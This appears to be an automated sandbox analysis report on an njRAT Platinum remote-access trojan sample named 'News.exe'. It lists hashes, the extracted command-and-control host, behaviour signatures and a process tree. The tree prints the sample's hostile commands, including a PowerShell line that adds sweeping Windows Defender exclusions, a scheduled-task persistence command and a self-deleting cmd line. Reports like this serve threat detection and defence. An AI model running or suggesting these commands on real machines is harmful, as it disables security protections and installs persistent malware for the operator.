Analysis

  • max time kernel
    150s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25-07-2024 20:38

General

  • Target

    News.exe

  • Size

    73KB

  • MD5

    be488e5157902bc9d0b920863d4405e9

  • SHA1

    c7fcb865c0591a3b095a6384a189882144d7dfe6

  • SHA256

    7376d155a75df53c85fbea9d9576e1cb004352102c7266c0f0b8ef60f60c8a25

  • SHA512

    f0a2caaa72d35b2faaa36e7347f3b46c545ea0bdcaf7589bb6af72d0df1cecab2bd7d2bbe5d1cad87fa36d9d39e8a17df4ffd472f680a47dc4373a0c817bdb9a

  • SSDEEP

    1536:MhJq9QuBn6bcNr6KcHwRc3lbVbxKrUM3+6tkhE39pWIEHyv5JXH3W+DqVqHGKEY1:MW9QuBnYZIrTV+WtpPE4V3W+eVqHWYyY

Malware Config

Extracted

Family

njrat

Version

Platinum

Botnet

Victim

C2

kgb963.duckdns.org:1118

Mutex

svchost.exe

Attributes
  • reg_key

    svchost.exe

  • splitter

    |Ghost|

Signatures

  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
  • njRAT/Bladabindi

    Widely used RAT written in .NET.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 3 IoCs
  • Executes dropped EXE 4 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 16 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Kills process with taskkill 8 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 44 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\News.exe
    "C:\Users\Admin\AppData\Local\Temp\News.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4388
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Add-MpPreference -ExclusionProcess "News.exe";Add-MpPreference -ExclusionProcess "svchost.exe";Add-MpPreference -ExclusionProcess "Windows.exe";Add-MpPreference -ExclusionPath "Windows.exe";Add-MpPreference -ExclusionPath "svchost.exe";Add-MpPreference -ExclusionProcess ".exe";Add-MpPreference -ExclusionProcess "exe";Add-MpPreference -ExclusionPath 'C:\';Add-MpPreference -ExclusionPath '%AppData%\Microsoft\Windows';Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp';Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows';Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup';Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Windows.exe'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2160
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Windows.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Windows.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4972
      • C:\Windows\SysWOW64\TASKKILL.exe
        TASKKILL /F /IM wscript.exe
        3⤵
        • System Location Discovery: System Language Discovery
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:3188
      • C:\Windows\SysWOW64\TASKKILL.exe
        TASKKILL /F /IM cmd.exe
        3⤵
        • System Location Discovery: System Language Discovery
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:3448
      • C:\Users\Admin\AppData\Local\Temp\svchost.exe
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        3⤵
        • Modifies WinLogon for persistence
        • Drops startup file
        • Executes dropped EXE
        • Adds Run key to start application
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: GetForegroundWindowSpam
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1808
        • C:\Windows\SysWOW64\TASKKILL.exe
          TASKKILL /F /IM wscript.exe
          4⤵
          • System Location Discovery: System Language Discovery
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:2804
        • C:\Windows\SysWOW64\TASKKILL.exe
          TASKKILL /F /IM cmd.exe
          4⤵
          • System Location Discovery: System Language Discovery
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:752
        • C:\Windows\SysWOW64\schtasks.exe
          schtasks /delete /tn "ChromeUpdate" /f
          4⤵
          • System Location Discovery: System Language Discovery
          PID:5088
        • C:\Windows\SysWOW64\schtasks.exe
          schtasks /create /sc minute /mo 1 /tn "ChromeUpdate" /tr C:\Users\Admin\AppData\Local\Temp\svchost.exe
          4⤵
          • System Location Discovery: System Language Discovery
          • Scheduled Task/Job: Scheduled Task
          PID:532
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 5 & Del "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Windows.exe"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4212
        • C:\Windows\SysWOW64\choice.exe
          choice /C Y /N /D Y /T 5
          4⤵
          • System Location Discovery: System Language Discovery
          PID:1848
  • C:\Users\Admin\AppData\Local\Temp\svchost.exe
    C:\Users\Admin\AppData\Local\Temp\svchost.exe
    1⤵
    • Executes dropped EXE
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4884
    • C:\Windows\SysWOW64\TASKKILL.exe
      TASKKILL /F /IM wscript.exe
      2⤵
      • System Location Discovery: System Language Discovery
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:3136
    • C:\Windows\SysWOW64\TASKKILL.exe
      TASKKILL /F /IM cmd.exe
      2⤵
      • System Location Discovery: System Language Discovery
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:1676
  • C:\Users\Admin\AppData\Local\Temp\svchost.exe
    C:\Users\Admin\AppData\Local\Temp\svchost.exe
    1⤵
    • Executes dropped EXE
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3448
    • C:\Windows\SysWOW64\TASKKILL.exe
      TASKKILL /F /IM wscript.exe
      2⤵
      • System Location Discovery: System Language Discovery
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:3484
    • C:\Windows\SysWOW64\TASKKILL.exe
      TASKKILL /F /IM cmd.exe
      2⤵
      • System Location Discovery: System Language Discovery
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:4112

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\svchost.exe.log

    Filesize

    418B

    MD5

    50045c5c59ae3eb2db5452fb39e13335

    SHA1

    56226b40d4458df7e92f802381401e4183c97cb2

    SHA256

    b90b2a4ba2c69f094edce48807ad1873b1265c83795139fbf4576697fe65cae9

    SHA512

    bb20f9389e69e4a17fa254bd3b77212797f3be159ec6129b3a1501db3e24fb7b12096fbdbfcc93c24ecdb3cea88eae8a58e279b39c0777b6a4e9d4c15057faa4

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ycdffm20.uik.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Windows.exe

    Filesize

    543KB

    MD5

    de0a165d6020dd41386184bf1e101f5f

    SHA1

    1d6e966de8d4f0c9a1009d9b4050af9c63cce214

    SHA256

    3fc3d2a5608216ba7c7a761d1fe103c78137d5f09c005b227ef146cfa21f6f10

    SHA512

    a1c800dc9dd74e231e8dacc9976d3a69982a0c36ca9edbbc21947ef943ae02090baa465efc5474b48bc8f36e386fed063a69fb1cfb0168b1c5eb1a535f21a75f

  • memory/1808-46-0x0000000005960000-0x000000000596A000-memory.dmp

    Filesize

    40KB

  • memory/1808-49-0x0000000006FA0000-0x0000000006FB8000-memory.dmp

    Filesize

    96KB

  • memory/1808-48-0x00000000068B0000-0x0000000006916000-memory.dmp

    Filesize

    408KB

  • memory/2160-7-0x000002027B120000-0x000002027B142000-memory.dmp

    Filesize

    136KB

  • memory/2160-12-0x00007FFFAC080000-0x00007FFFACB41000-memory.dmp

    Filesize

    10.8MB

  • memory/2160-13-0x00007FFFAC080000-0x00007FFFACB41000-memory.dmp

    Filesize

    10.8MB

  • memory/2160-14-0x00007FFFAC080000-0x00007FFFACB41000-memory.dmp

    Filesize

    10.8MB

  • memory/2160-17-0x00007FFFAC080000-0x00007FFFACB41000-memory.dmp

    Filesize

    10.8MB

  • memory/4388-18-0x00007FFFAC080000-0x00007FFFACB41000-memory.dmp

    Filesize

    10.8MB

  • memory/4388-28-0x00007FFFAC080000-0x00007FFFACB41000-memory.dmp

    Filesize

    10.8MB

  • memory/4388-0-0x00007FFFAC083000-0x00007FFFAC085000-memory.dmp

    Filesize

    8KB

  • memory/4388-1-0x00000000003D0000-0x00000000003E6000-memory.dmp

    Filesize

    88KB

  • memory/4972-30-0x00000000051B0000-0x000000000524C000-memory.dmp

    Filesize

    624KB

  • memory/4972-31-0x0000000005800000-0x0000000005DA4000-memory.dmp

    Filesize

    5.6MB

  • memory/4972-32-0x0000000005540000-0x00000000055D2000-memory.dmp

    Filesize

    584KB

  • memory/4972-29-0x0000000000740000-0x00000000007CE000-memory.dmp

    Filesize

    568KB